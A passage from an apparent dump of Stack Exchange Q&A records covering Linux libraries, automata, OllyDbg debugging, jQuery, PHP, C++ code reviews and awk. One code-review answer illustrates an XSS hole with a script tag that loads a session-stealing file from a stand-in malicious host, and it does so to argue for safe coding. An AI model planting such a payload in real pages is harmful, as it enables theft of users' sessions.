that I modified the paths from the answer I linked to so that they're relevant to Debian instead.The answer here suggests that you need to install libgl1-mesa-glx:i386 (which you've already done) plus libgl1-mesa-dri:i386 (which is what I'm suggesting you try next).Update: What finally workedapt-get purge libgl1-mesa-glx:i386 apt-get install libgl1-mesa-glx:i386 ln -s /usr/lib/mesa-diverted/i386-linux-gnu/libGL.so.1 /usr/lib/i386-linux-gnu/"  } 
{  "id": "_cs.57482"  , "question": "Let L  {0, 1}* . Then1) If all proper subsets of L are regular,is L regular?2) If all finite subsets of L are regular,is L regular?3) If a proper subset of L is not regular,is L non regular?I am  not sure if one or more of the above are true.I think 2) is true because any finite subset can be accepted by a DFA.Are 1) and 3) always true?If not,I am not able to provide counter examples."  , "title": "Subsets and Proper subsets of regular language"  , "tags": "finite automata"  } 
{  "id": "_reverseengineering.8369"  , "question": "I'm currently reversing a function which looks like the following.text:0040383F 8D 04 BF          lea     eax, [edi+edi*4].text:00403842 6A 14             push    20.text:00403844 C1 E0 03          shl     eax, 3.text:00403847 99                cdq.text:00403848 59                pop     ecx.text:00403849 F7 F9             idiv    ecx.text:0040384B 03 45 08          add     eax, [ebp+arg_0].text:0040384E 8A 84 30 C8 31 00+mov     al, [eax+esi+31C8h].text:00403855 32 C3             xor     al, bl.text:00403857 88 84 3E 28 27 00+mov     [esi+edi+2728h], al.text:0040385E 47                inc     edi.text:0040385F 81 FF 07 0B 00 00 cmp     edi, 0B07h.text:00403865 75 D8             jnz     short loc_40Since I don't have any clue what's going there I wanted to Debug this part with OllyDbg. I want to understand what's inside al, bl and the result of xor al, bl for all 0B07h steps the loop is running.I just saw that Immunity provides some sort of scripting functionality. Is it possible to achieve this with a simple python script in Immunity? Maybe there are other ways with OllyDbg?I just want something like:If EIP == 403855 then print al, blElse go_ahead"  , "title": "How to efficiently debug Loops with OllyDbg/Immunity?"  , "tags": "ollydbg;debugging;immunity debugger;xor"  , "accepted_answer": "No scripting required.In OllyDbg's disassembly window, left-click on line .text:00403855 32 C3             xor     al, bl to select the line, then right-click on the selected line and choose Breakpoint  Conditional log....In the breakpoint dialog box that opens up, use the following options:Press OK, run the program, and every time .text:00403855 32 C3             xor     al, bl is executed, OllyDbg will print the values of al and bl to the log window."  } 
{  "id": "_webapps.106185"  , "question": "For instance, I'd like to share my resume (in 3 formats) with a recruiter. I'd also like those links to be valid at all times but also be up to date if I upload a new PDF / DOCX / ODT file to Google Docs. A symlink of some sort seems like the natural choice. That way I could point the link to the new file without having to send an email out to the recruiter that says hey here's the newest version. Does such a thing exist in Google Docs? "  , "title": "Is there anything like a symlink in Google Docs?"  , "tags": "google apps;google documents"  } 
{  "id": "_softwareengineering.191913"  , "question": "I was recently talking with a recruiter who wants to put me at a company for a position of Developer in Test. He essentially made it sound like a position where you get to fiddle with new programming techniques and test bugs and improvements in software but where you don't need to worry about standard deadlines. You get to be very creative in your work.But that description was still kinda vague to me. I have been a Web Developer for a number of years now, mostly working in PHP. So I wanted to know if others in the community know more about what these positions typically entail.I know that this might not be a subject appropriate for this forum, but it was the best fit I could find among Stack Exchange and I would really appreciate it if this wasn't closed since there is really no where else here to ask about it.I have tried Googling it, but there isn't a lot of information out there. So what exactly is a Developer in Test?"  , "title": "What is a Developer in Test?"  , "tags": "web development;php;testing;career development;engineering"  , "accepted_answer": "I am a Software Development Engineer in Test, and have been at 2 separate companies. Currently I work for Microsoft.Broadly speaking, Bryan Oakley is correct: you write software that tests software. Beyond that, it depends on your level of experience, the scope of your responsibilities, and the type of software that the employer would be producing. An SDET position can include writing anything from the basics of feature level verification tests, to writing and maintaining test infrastructure to run those tests. It's also not uncommon to have SDETS that specialize in focused testing for certain types of requirements (testing security, performance/scale, usability, etc. are examples that immediately spring to mind).The description that you received from the recruiter sounds like a poor selling technique. You're not fiddling; you have n days to get automated test coverage over x features deployed in y different supported environments in z languages.Oh, btw: those tests have to run fast enough for the devs to have a quick dev/test cycle because...No standard deadlines? You're in charge of the quality of the product and the release date was set by marketing 6 months ago. The dev team is 6 weeks late delivering a stable build to your test team, and the company isn't pushing that release date (again). Is the product or service stable enough to release to a couple million (billion?) people, on the same day?...and if (when ) customers call in with problems... Why (the hell) didn't you catch it first?I hope that gives you a bit of an example of what being an SDET is like."  } 
{  "id": "_webapps.100569"  , "question": "I am using google maps in chrome having OS: Ubuntu on my hp laptop. But it's not showing place names. I don't know how names have disappeared. Please help me to get them back"  , "title": "Google maps not showing any names"  , "tags": "google maps"  } 
{  "id": "_codereview.126468"  , "question": "I'm updating a stats bar on the page after a user action. The code works, but as you can see, it's very messy.Is there a shorter way of writing this function? Seems like a complete mess. I thought about using $.each a couple times to cycle through, but since I need to compare values from the first two array keys in the multi-dimensional array, it makes things much more complicated.Here's an example of the post object data:{    {team_avg: {overdue: 1, in_review: 2, in_progress: 1, assigned: 1}}    {user: {assigned: 5, overdue: 3, in_review: 4, in_progress: 1}}Here's my current (mess) for the $.post callback:$.post({{ route('task.load') }}, { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {    $task_summary = $('.taskload-stats');    // update # of assigned    $assigned = $task_summary.find('.assigned');    $assigned.html(data.user.assigned);    if (data.user.assigned > data.team_avg.assigned) {        $assigned.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up above-avg aria-hidden=true></i>');    } else if (data.user.assigned === data.team_avg.assigned) {        $assigned.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>');    } else {        $assigned.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down below-avg aria-hidden=true></i>');    }    // update # of in progress    $in_progress = $task_summary.find('.in-progress');    $in_progress.html(data.user.in_progress);    if (data.user.in_progress > data.team_avg.in_progress) {        $in_progress.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up above-avg aria-hidden=true></i>');    } else if (data.user.in_progress === data.team_avg.in_progress) {        $in_progress.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>');    } else {        $in_progress.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down below-avg aria-hidden=true></i>');    }    // update # of in review    $in_review = $task_summary.find('.in-review');    $in_review.html(data.user.in_review);    if (data.user.in_review > data.team_avg.in_review) {        $in_review.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up above-avg aria-hidden=true></i>');    } else if (data.user.in_review === data.team_avg.in_review) {        $in_review.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>');    } else {        $in_review.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down below-avg aria-hidden=true></i>');    }    // update # of overdue    $overdue = $task_summary.find('.overdue');    $overdue.html(data.user.overdue);    if (data.user.overdue > data.team_avg.overdue) {        $overdue.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up below-avg aria-hidden=true></i>');    } else if (data.user.overdue === data.team_avg.overdue) {        $overdue.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>');    } else {        $overdue.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down above-avg aria-hidden=true></i>');    }    $(document).foundation('tooltip', 'reflow');});"  , "title": "Updating a stats bar on a page"  , "tags": "javascript;jquery"  , "accepted_answer": "That code is full of security holes. Completely avoid .html, create elements programmatically, not as strings of html text. Use .text to set the visible text of elements securely.What happens if data.user.assigned has this value:<script src=//malicious.host.c0m/stealsession.js></script>Visible TextThen every user that views that page will load and run the malicious script and send their session cookie to the attacker, who can then impersonate you, because they have your session secret. The user will not be notified at all, they see Visible TextYou should not repeat yourself so much. You should create an element, and clone that off for each similar duplication of it. This way, you can just set those common attributes once and create copies of it efficiently.You have everything named very nicely, you can leverage that and make it table driven:See jsfiddle$(function() {  function createIcons(data, scope, names) {    var template = $('<i/>', {      'data-tooltip': '',      'aria-haspopup': 'true',      'class': fa,      'aria-hidden': true    });    names.forEach(function(descriptor) {      var parent = scope.find(descriptor.sel),          userVal = data.user[descriptor.prop],          teamAvg = data.team_avg[descriptor.prop];      parent.text(userVal);      makeUpDownIcon(parent, template.clone(),                     userVal, teamAvg);    });  }  function makeUpDownIcon(outputParent, element, input, compareTo) {    var title, classes;    if (input > compareTo) {      title = 'Above Team Avg';      classes = 'fa-arrow-up above-avg';    } else if (input === compareTo) {      title = 'Equals Team Average';      classes = 'neutral';    } else {      title = 'Below Team Avg';      classes = 'fa-arrow-down below-avg';    }    return (element.attr('title', title)            .addClass(classes)            .appendTo(outputParent));  }  //faked $.post({{ route('task.load') }}, { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {  var data = {    user: {      assigned: 11,      in_progress: 10,      in_review: 3,      overdue: 44    },    team_avg: {      assigned: 6,      in_progress: 24,      in_review: 2,      overdue: 1    }  };  $task_summary = $('.taskload-stats');  createIcons(data, $task_summary, [    { sel: '.assigned', prop: 'assigned' },    { sel: '.in-progress', prop: 'in_progress' },    { sel: '.in-review', prop: 'in_review' },    { sel: '.overdue', prop: 'overdue' }  ]);  //$(document).foundation('tooltip', 'reflow');});Note that I forced in fake data because I cannot do the real ajax request on jsfiddle. I had to rip out that foundation thing to make it runnable too. You should have no trouble modifying that second part to actually use the post.EDIT:If you wanted to have a more complex template, say, a span with text and icon then you could do something a bit like this:  function createIcons(data, scope, names) {      var template = $('<div/>'),          caption = $('<span/>', {              'data-tooltip': '',              'aria-haspopup': 'true',              'class': '',              'aria-hidden': 'true',              appendTo: template          }),          icon = $('<i/>', {              appendTo: template          });Then before each clone, you can reach into the template and do  caption.text(something) and icon.attr('class', 'fa fa-something'), then clone, then the clone will already be set, and no need to go .find into it.Note that .text blows away all of the content of the node, so I restructured it so .text wont kill the icon."  } 
{  "id": "_unix.165658"  , "question": "I am trying to debug an application running in embedded linux. The application uses qt-mobility.On my PC, it works fine, but not on my device.When I start my application, I get this message in the /var/log/messages :Nov  3 11:45:41 pdm360ng daemon.info bluetoothd[1435]: Discovery session 0x1074aab0 with :1.1 activatedOn my PC (running ubuntu 14.04), /var/log/syslog tells :Nov  3 11:01:15 deeclu42 bluetoothd[25182]: Discovery session 0x7f0897203160 with :1.599 activatedSo, it prints a version of something (1.1 for embedded, and 1.599 for my PC), and different version may cause problems I am seeing.The bluetoothd is of the same version in both cases :bluetoothd --version4.101So, what is printing that version in the log?"  , "title": "Of what is this version of?"  , "tags": "bluetooth"  } 
{  "id": "_unix.162638"  , "question": "I know chmod 777 allows read, write, and execute for user, group, and others but what if I just do chmod 7?Is that only rwx for the user?"  , "title": "What is the result of running `chmod 7` on a file?"  , "tags": "files;chmod"  } 
{  "id": "_ai.2795"  , "question": "I have been looking into Viv an artificial intelligent agent in development. Based on what I understand, this AI can generate new code and execute it based on a query from the user. What I am curious to know is how this AI is able to learn to generate code based on some query. What kind of machine learning algorithms are involved in this process? One thing I considered is breaking down a dataset of programs by step. For example:Code to take the average of 5 terms1 - Add all 5 terms together2 - Divide by 5Then I would train an algorithm to convert text to code. That is as far as I have figured out. Haven't tried anything however because i'm not sure where to start. Anybody have any ideas on how to implement Viv? Here is a demonstration of Viv."  , "title": "AI that can generate programs"  , "tags": "neural networks;machine learning;deep learning;ai design;nlp"  } 
{  "id": "_hardwarecs.2622"  , "question": "There exist several Cherry MX Switch Testers. I am looking for a Topre Switch tester.Ideally, it should contain the same key switches as the ones used in Topre Realforce. The price should be cheaper than buying the full keyboard. I do not mind about shipping constraints.So far, I have only found this Switch Tester, which contains only one Topre Novatouch switch (and 5 Cherry MX: Black, Red, Brown, Blue, and Green switches). I would like more Topre switches."  , "title": "Topre Switch tester"  , "tags": "keyboards"  } 
{  "id": "_cs.22722"  , "question": "Suppose that I have a set of $N$ points in $k$-dimensional space ($k>1$), such as in this question, and that I need to find all pairs with a distance smaller than a certain threshold $t$.  The brute-force method would require $N(N-1)$ distance calculations, which is not acceptable.  I attack the problem by first sorting the cells in a grid, such as in this answer, followed by brute-force within each grid cell and a number of neighbours (which is easily calculated from the cell size $w*h$ and the maximum distance $t$).My solution seems to work acceptably well for my purposes, and the results appear to be correct.  However I'm neither a computer scientist nor a mathematician, and I'm not sure what tools I could use to calculate the optimal cell size.  In fact, I developed the aforementioned possibly naive algorithm because it seemed like a reasonably okay method.  I guess the optimal cell size depends in some way on $N$, $t$, on the cost of the distance function, and on the implementation of the sorting in cells, on the distribution of points, and on other things.  How would I make a guess of the optimal values of $w$ and $h$, with or without a priori knowledge on the approximate number of pairs I expect to find?Does the answer change if the N points are divided in two sets $S_1$ and $S_2$, and each pair shall consist of one element from each set?Not necessarily euclidian.  The points may, for example, be locations on a sphere, i.e. on Earth, with latitude and longitude."  , "title": "How do I choose an optimal cell size when searching for close pairs of points, and using cells to implement this?"  , "tags": "algorithms;computational geometry;matching"  , "accepted_answer": "There's an enormous amount of work on data structures and algorithms for this sort of problem.  I suggest you start by reading the general literature on this problem.Start by reading about algorithms for nearest neighbor search, including all nearest neighbors and the fixed-radius nearest neighbors problem.  Those techniques are applicable to your problem.Then, read about quadtrees, octrees, k-d trees, VP trees, and the general category of BSP trees."  } 
{  "id": "_webmaster.95543"  , "question": "I am an HTML beginner and I'm making a website using HTML Editey. I know how to do things like make bold text or make an underline under the letter or number, but I don't know how to make a clickable link.I want to make a clickable link or some text which is you click on it, it will make you go to another website. I did inspect on Chrome but I got confused and couldn't figure it out."  , "title": "How to make a clickable link with HTML Editey"  , "tags": "html;links;text editor"  } 
{  "id": "_codereview.46059"  , "question": "I just got into Object Oriented Programming, and it made me think about certain code how I can make them as efficient as possible.Right now I am just including my header and footer like the following:PHPrequire_once 'core/init.php';require_once 'includes/header.php';//Big block of content goes hererequire_once 'includes/footer.php';I wonder if this is the neatest / most efficient way of doing that?"  , "title": "Neatest way of including a header and footer on every page"  , "tags": "php;object oriented"  , "accepted_answer": "According to a PHP blog post, yes this is exactly the way that it should be done. Even w3schools (whom you normally shouldn't trust too much since they're not related to the real w3 at all) recommends it.I like that you are using require instead of include. I am not so sure if you really need the _once though.I recommend you read the documentation of the include function (which also applies to require, require_once and include_once) to make sure that you really are aware of how it works. Note that if you are using any PHP scripts inside the included files, any global variables (which you should try avoid using too many of overall) also gets included to the calling script."  } 
{  "id": "_webapps.10608"  , "question": "Possible Duplicate:Get e-mail addresses from Gmail messages received I have a Google Apps Gmail account and I would like to extract all email adresses in the from and to (and cc, bcc and reply-to if possible) headers of every message. How can I do this?I've found a site (https://gmailextract.com/) that promises to do exactly what I need, but I don't think I can trust it with my password."  , "title": "Extract email adresses of Gmail"  , "tags": "gmail;email;google apps;google apps email"  , "accepted_answer": "I would do it the old fashion offline way:1) Download all mails with Gmail Backup or an IMAP client if you only want headers2) Use a regexp tool on the downloaded files or headers to find the email adresses and save the result into a text file3) Optionally import the file into Contacts in Gmail"  } 
{  "id": "_cogsci.8854"  , "question": "I recall a study that concluded the risk of falling into poverty / homelessness increases dramatically after experiencing 5 (or 7?) traumatic life events, such asDeath of a loved oneAbandonment by spouseBankruptcyBeing firedForeclosureetc (a threshold effect). That's about as clear a memory as I can form, and search engines don't help. Anybody know about this study? It might have been from New Zealand."  , "title": "What study examined the effect of number of traumatic life events on falling into poverty?"  , "tags": "social psychology;reference request;sociology"  , "accepted_answer": "This effect was identified in a report by the New Zealand Ministry of Social Development (Jensen et al., 2006). It specifically indicated that individuals experiencing eight or more life shocks (negative life events) experienced significantly more negative socioeconomic outcomes. This effect is referenced on Wikipedia's Cycle of Poverty page (http://en.wikipedia.org/wiki/Cycle_of_poverty), which links to a news story on the report (Berry, 2006) and the report itself. A summary of the report's findings were later published in an academic journal (Jensen et al., 2007).Berry, R. (2006, July 12). Life shocks tip people into hardship.The New Zealand Herald. Retrieved from: http://www.nzherald.co.nz/nz/news/article.cfm?c_id=1&objectid=10390891Jensen, J., Krishnan, V., Hodgson, R., Sathiyandra, S., Templeton,R., Jones, D., ... & Beynon, P. (2006). New Zealand Living Standards 2004 Ng huatanga Noho o Aotearoa. Wellington: Ministry of Social      Development. Retrieved from:http://media.nzherald.co.nz/webcontent/document/pdf/living-standards-2004.pdfJensen, J., Sathiyandra, S., & Matangi-Want, M. (2007). The 2004 New Zealand Living Standards Survey: What does it signal about the importance of multiple disadvantage?. Social Policy Journal of New  Zealand, 30, 110-144."  } 
{  "id": "_softwareengineering.328729"  , "question": "Evans introduces in his book Domain Driven Design in Chapter 6 Aggregates the concept of Aggregates. He further defines rules to translate that concept into an implementation (Evans 2009, pp. 128-129):The root ENTITY can hand references to the internal ENTITIES to other objects, but those objects can use them only transiently, and they may not hold on to the reference.After elaborating on other rules he summarizes them into this paragraph:Cluster the Entities and Value Objects into Aggregates and  define boundaries around each. Choose one Entity to be the root  of each Aggregate, and control all access to the objects inside  the boundary through the root. Allow external objects to hold  references to the root only. Transient references to internal  members can be passed out for use within a single operation  only. Because the root controls access, it cannot be blindsided by  changes to the internals. This arrangement makes it practical to  enforce all invariants for objects in the Aggregate and for the  Aggregate as a whole in any state change.So what does transient usage exactly mean?My colleague understands that only the aggregate root exposes a public interface for the clients. Clients will have no opportunity to call any operation on an entity other than the aggregate root.My understanding of the cited sentences is different. I understand that it does indeed explicitly allow clients calling operations on internal entities. However only after getting them from the root.So let's have a concrete example:Let's say a Cart consists of many Items. Each Item has a Quantity. The model should support the use case Increase the quantity of one specific Item. No invariants could be violated which affects anything outside of the Item.Is a model violating above cited rules, when a client can do this by calling cart.item(itemId).increaseQuantity() or should a client only be allowed to call a cart.increaseItemQuantity(itemId)? What would be the benefit of the latter?"  , "title": "Can clients call methods on entities other than the aggregate root?"  , "tags": "domain driven design"  } 
{  "id": "_codereview.11154"  , "question": "We implement a C++ class Proposition that represents a (possibly compound) propositional logic statement made up of named atomic variables combined with the operators AND, OR, NOT, IMPLIES and IFF.We then use it to find all the truth assignments of the following proposition:((A and not B) implies C) and ((not A) iff (B and C))Once everything is defined, the snippet of C++ code that evaluates this proposition is:auto proposition = (A_var && !B_var).implies(C_var) &&                   (!A_var).iff(B_var && C_var);auto truth_assignments = proposition.evaluate_all({A, B, C});Language features used include polymorphism, implicit sharing, recursive data types, operator overloading and (new in C++ 2011 and gcc 4.7) user-defined literals.// (C) 2012, Andrew Tomazos <andrew@tomazos.com>.  Public domain.#include <cassert>#include <memory>#include <set>#include <vector>#include <string>#include <iostream>using namespace std;struct Proposition;// The expression...////     foo_var//// ...creates an atomic proposition variable with the name 'foo'Proposition operator _var (const char*, size_t);// Represents a compound propositionstruct Proposition{    // A.implies(B): means that A (antecendant) implies ==> B (consequent)    Proposition implies(const Proposition& consequent) const;    // A.iff(B): implies that A and B form an equivalence. A <==> B    Proposition iff(const Proposition& equivalent) const;    // !A: the negation of target A    Proposition operator!() const;    // A && B: the conjunction of A and B    Proposition operator&&(const Proposition& conjunct) const;    // A || B: the disjunction of A and B    Proposition operator||(const Proposition& disjunct) const;    // A.evaluate(T): Given a set T of variable names that are true (a truth assignment),    //     will return the truth {true, false} of the proposition    bool evaluate(const set<string>& truth_assignment) const;    // A.evaluate_all(S): Given a set S of variables,    //     will return the set of truth assignments that make this proposition true    set<set<string>> evaluate_all(const set<string>& variables) const;private:    struct Base { virtual bool evaluate(const set<string>& truth_assignment) const = 0; };    typedef shared_ptr<Base> pointer;    pointer value;    Proposition(const pointer& value_) : value(value_) {}    struct Variable : Base    {        string name;        virtual bool evaluate(const set<string>& truth_assignment) const        {            return truth_assignment.count(name);        }    };    struct Negation : Base    {        pointer target;        bool evaluate(const set<string>& truth_assignment) const        {            return !target->evaluate(truth_assignment);        }    };    struct Conjunction : Base    {        pointer first_conjunct, second_conjunct;        bool evaluate(const set<string>& truth_assignment) const        {            return first_conjunct->evaluate(truth_assignment)                && second_conjunct->evaluate(truth_assignment);        }    };    struct Disjunction : Base    {        pointer first_disjunct, second_disjunct;        bool evaluate(const set<string>& truth_assignment) const        {            return first_disjunct->evaluate(truth_assignment)                || second_disjunct->evaluate(truth_assignment);        }    };    friend Proposition operator _var (const char* name, size_t sz);};Proposition operator _var (const char* name, size_t sz){    auto variable = make_shared<Proposition::Variable>();    variable->name = string(name, sz);    return { variable };}Proposition Proposition::implies(const Proposition& consequent) const{    return  (!*this) || consequent;};Proposition Proposition::iff(const Proposition& equivalent) const{    return this->implies(equivalent) && equivalent.implies(*this);}Proposition Proposition::operator!() const{    auto negation = make_shared<Negation>();    negation->target = value;    return { negation };}Proposition Proposition::operator&&(const Proposition& conjunct) const{    auto conjunction = make_shared<Conjunction>();    conjunction->first_conjunct = value;    conjunction->second_conjunct = conjunct.value;    return { conjunction };}Proposition Proposition::operator||(const Proposition& disjunct) const{    auto disjunction = make_shared<Disjunction>();    disjunction->first_disjunct = value;    disjunction->second_disjunct = disjunct.value;    return { disjunction };}bool Proposition::evaluate(const set<string>& truth_assignment) const{    return value->evaluate(truth_assignment);}set<set<string>> Proposition::evaluate_all(const set<string>& variables) const{    set<set<string>> truth_assignments;    vector<string> V(variables.begin(), variables.end());    size_t N = V.size();    for (size_t i = 0; i < (size_t(1) << N); ++i)    {        set<string> truth_assignment;        for (size_t j = 0; j < N; ++j)            if (i & (1 << j))                truth_assignment.insert(V[j]);        if (evaluate(truth_assignment))            truth_assignments.insert(truth_assignment);    }    return truth_assignments;}int main(){    assert(  (foo_var) .evaluate({foo})); // trivially true    assert(  (foo_var) .evaluate_all({foo})             == set<set<string>> {{foo}} );    assert(  (!foo_var) .evaluate({})); // basic negation    assert(! (!foo_var) .evaluate({foo})); // basic negation    assert(  (!foo_var) .evaluate_all({foo})             == set<set<string>> {{}} );    assert(  (!!foo_var) .evaluate({foo})); // double negation    assert(  (!!foo_var) .evaluate_all({foo})             == set<set<string>> {{foo}} );    assert(  (foo_var && bar_var) .evaluate({foo, bar})); // conjunction    assert(! (foo_var && bar_var) .evaluate({bar})); // conjunction    assert(! (foo_var && bar_var) .evaluate({foo})); // conjunction    assert(! (foo_var && bar_var) .evaluate({})); // conjunction    assert(  (foo_var && bar_var) .evaluate_all({foo, bar})             == set<set<string>>({{foo, bar}}));    assert(  (foo_var || bar_var) .evaluate({foo, bar})); // disjunction    assert(  (foo_var || bar_var) .evaluate({bar})); // disjunction    assert(  (foo_var || bar_var) .evaluate({foo})); // disjunction    assert(! (foo_var || bar_var) .evaluate({})); // disjunction    assert(  (foo_var || bar_var) .evaluate_all({foo, bar})             == set<set<string>>({{foo, bar}, {foo}, {bar}}));    assert(  (foo_var.implies(bar_var)) .evaluate({foo, bar})); // implication    assert(  (foo_var.implies(bar_var)) .evaluate({bar})); // implication    assert(! (foo_var.implies(bar_var)) .evaluate({foo})); // implication    assert(  (foo_var.implies(bar_var)) .evaluate({})); // implication    assert(  (foo_var.implies(bar_var)) .evaluate_all({foo, bar})             == set<set<string>>({{foo, bar}, {bar}, {}}));    assert(  (foo_var.iff(bar_var)) .evaluate({foo, bar})); // equivalence    assert(! (foo_var.iff(bar_var)) .evaluate({bar})); // equivalence    assert(! (foo_var.iff(bar_var)) .evaluate({foo})); //equivalence    assert(  (foo_var.iff(bar_var)) .evaluate({})); // equivalence    assert(  (foo_var.iff(bar_var)) .evaluate_all({foo, bar})             == set<set<string>>({{foo, bar}, {}}));    cout << ((A and not B) implies C) and ((not A) iff (B and C)): << endl << endl;    auto proposition = (A_var && !B_var).implies(C_var) && (!A_var).iff(B_var && C_var);    auto truth_assignments = proposition.evaluate_all({A, B, C});    cout << A    B    C << endl;    cout << ----------- << endl;    for (auto truth_assignment : truth_assignments)    {        for (auto variable : {A, B, C})            cout << (truth_assignment.count(variable) ? 1 : 0) <<     ;        cout << endl;    }}The output is as follows:((A and not B) implies C) and ((not A) iff (B and C)):A    B    C-----------1    1    0    1    0    1    0    1    1    "  , "title": "C++11: Propositional Logic: Proposition Evaluator"  , "tags": "c++;c++11"  } 
{  "id": "_codereview.138479"  , "question": "There are a plethora of streams and streambuffers available today, none are as fast as a memory streambuf, that you can use for testing. Shoot away!#ifndef MEMSTREAMBUF_HPP# define MEMSTREAMBUF_HPP# pragma once#include <cassert>#include <cstring>#include <array>#include <iostream>#include <streambuf>template <::std::size_t N>class memstreambuf : public ::std::streambuf{  ::std::array<char, N> buf_;public:  memstreambuf()  {    setbuf(buf_.data(), buf_.size());  }  ::std::streambuf* setbuf(char_type* const s,    ::std::streamsize const n) final  {    auto const begin(s);    auto const end(s + n);    setg(begin, begin, end);    setp(begin, end);    return this;  }  pos_type seekpos(pos_type const pos,    ::std::ios_base::openmode const which = ::std::ios_base::in |    ::std::ios_base::out) final  {    switch (which)    {      case ::std::ios_base::in:        if (pos < egptr() - eback())        {          setg(eback(), eback() + pos, egptr());          return pos;        }        else        {          break;        }      case ::std::ios_base::out:        if (pos < epptr() - pbase())        {          setp(pbase(), epptr());          pbump(pos);          return pos;        }        else        {          break;        }      default:        assert(0);    }    return pos_type(off_type(-1));  }  ::std::streamsize xsgetn(char_type* const s,    ::std::streamsize const count) final  {    auto const size(::std::min(egptr() - gptr(), count));    ::std::memcpy(s, gptr(), size);    gbump(size);    return egptr() == gptr() ? traits_type::eof() : size;  }  ::std::streamsize xsputn(char_type const* s,    ::std::streamsize const count) final  {    auto const size(::std::min(epptr() - pptr(), count));    ::std::memcpy(pptr(), s, size);    pbump(size);    return epptr() == pptr() ? traits_type::eof() : size;  }};template <::std::size_t N = 1024>class memstream : public memstreambuf<N>,  public ::std::istream,  public ::std::ostream{public:  memstream() : ::std::istream(this),    ::std::ostream(this)  {  }};#endif // MEMSTREAMBUF_HPP"  , "title": "Memory streambuf and stream"  , "tags": "c++;stream"  , "accepted_answer": "AssertI personally dislike using asserts. The problem for me is that they do different things in production and debug code. I want the same action in both.  pos_type seekpos(pos_type const pos, ::std::ios_base::openmode const which) final  {    switch (which)    {      case ::std::ios_base::in:      case ::std::ios_base::out:      default:        assert(0);    }    return pos_type(off_type(-1));  }So in this code if we get to the default action; the debug version will assert (and stop the application) while production code will return -1.In my opinion if you get to a point where your code should not then throw an exception that should not be caught. That will cause the application to exit (in a controlled way).But in this case I think the expected behavior is not to throw but to return -1. So I would make the default action a no-op.seekpos whichThe which in your seekpos() has basically three settings. You only check for two of the three.    switch (which)    {      case ::std::ios_base::in:      case ::std::ios_base::out:      // You forgot this case      case ::std::ios_base::in | ::std::ios_base::out:      // it means set the position of the input and output stream.      // since this is the default value of `which` I would expect      // this to happen most often (and would assert in your code).      default:        assert(0);    }    return pos_type(off_type(-1));  }xsgetn/xsputn eofI think you return result of these functions can be incorrect. You should only return eof if you did not get/put any values. You return eof if you have filled/emptied all the data.  ::std::streamsize xsgetn(char_type* const s,    ::std::streamsize const count) final  {    // If there is no data to get then return eof    if (egptr() == gptr()) {        traits_type::eof();    }    auto const size(::std::min(egptr() - gptr(), count));    ::std::memcpy(s, gptr(), size);    gbump(size);    return size; // return the number of bytes read.  }Overall DesignThe input and output use the same buffer but are not linked together. If you have not written anything into the buffer I would not expect you to be able to read from the buffer (as there is nothing to read).When you do write I would only expect you to be able to read only what has written (no more).int main(){    memstream<1024>   buffer;    if (buffer.write(abcdef, 6))    {         std::cout << Write OK\\n;    }    char data[100];    if (buffer.read(data, 10))    {        auto c = buffer.gcount();        std::cout << Count:  << c << \\n;        std::cout << std::string(data, data+10) << \\n;    }}Result:Write OKCount: 10abcdefSo I wrote 6 characters. But I managed to read 10 characters. What were the last 4 characters?Circular BufferOnce you have linked the two buffers correctly. You could get more from the buffer by making it circular. That means as you get to the end of the write buffer you can circle around and start writing at the beginning again if you have been reading from the buffer and there is space.Inheriting from the buffertemplate <::std::size_t N = 1024>class memstream :  public memstreambuf<N>,    // This is unusual  public ::std::istream,  public ::std::ostream{public:  memstream() : ::std::istream(this),    ::std::ostream(this)  {  }};Normally I have seen this as a member object rather than inheriting from the buffer. Though this technique saves a call to setbuffer. I can live with it.BUT: if you are going to inherit from it then I would use private inheritance.template <::std::size_t N = 1024>class memstream :  private memstreambuf<N>,    // Note the private  public ::std::istream,  public ::std::ostream{public:  memstream() : ::std::istream(this),    ::std::ostream(this)  {  }};This is because I don't want my object to behave like a stream and a stream buffer to people who use it. That could be confusing. So hide the buffer properties from external users (by using private). They can always get a reference to the buffer using the method rdbuf().pragma once and include guardsThere is no point in using both:#ifndef MEMSTREAMBUF_HPP# define MEMSTREAMBUF_HPP# pragma once....#endifI would use the header guards because not all compiler support #pragma once. Note the space between # and the word is non standard. Most compilers may be forgiving about it but not all so I would not do it.# define MEMSTREAMBUF_HPP ^  // extra space."  } 
{  "id": "_unix.222102"  , "question": "I have several data samples that I need to grop the zeroes before and after the data sample. However there are zeroes between the data sample that I must keep for obvious reasons. How can I do this with awk or maybe sed?Thanks.0000000000000004.4021.2017.4418.242.0819.9214.5621.206.64027.0432.2465.2812.0040.8030.4830.1630.24062.566.5629.76043.8413.4417.1254.4823.5230.7229.0411.0414.565.7631.6013.6811.2017.4417.44036.5616.6432.4018.4001049.841.6863.8419.285.7628.0012.640013613.2823.281.2019.1227.2802.8836.1627.4413.6036.3220.9615.8423.1210.24.9643.608.320061.6020.0031.3632.80072.3227.049.5221.282.0844.4811.2026.4019.9218.40078.3213.0438.886.2466.644.5625.1243.204.0058.0818.402.4820.3215.7624.96028.4028.6432.726.6414.7200000"  , "title": "Removing Zeroes before and after data sample"  , "tags": "sed;awk"  , "accepted_answer": "This will drop all zeros from the beginning and the end of the file while keeping zeros in the middle:awk '/[^0]/{if (z)print substr(z,2);print;z=;f=1;next} f{z=z\\n$0}' fileHow it works/[^0]/{if (z)print substr(z,2); print;z=; f=1; next}If the present line has any character on it other than zero, /[^0]/, then we do the following:If the variable z is non-empty, we print it, skipping its first character.We print the current line (the one with the non-zero).We set z back to an empty string.We set the flag f to 1 to signify that we have seen a line with a non-zero.We skip the rest of 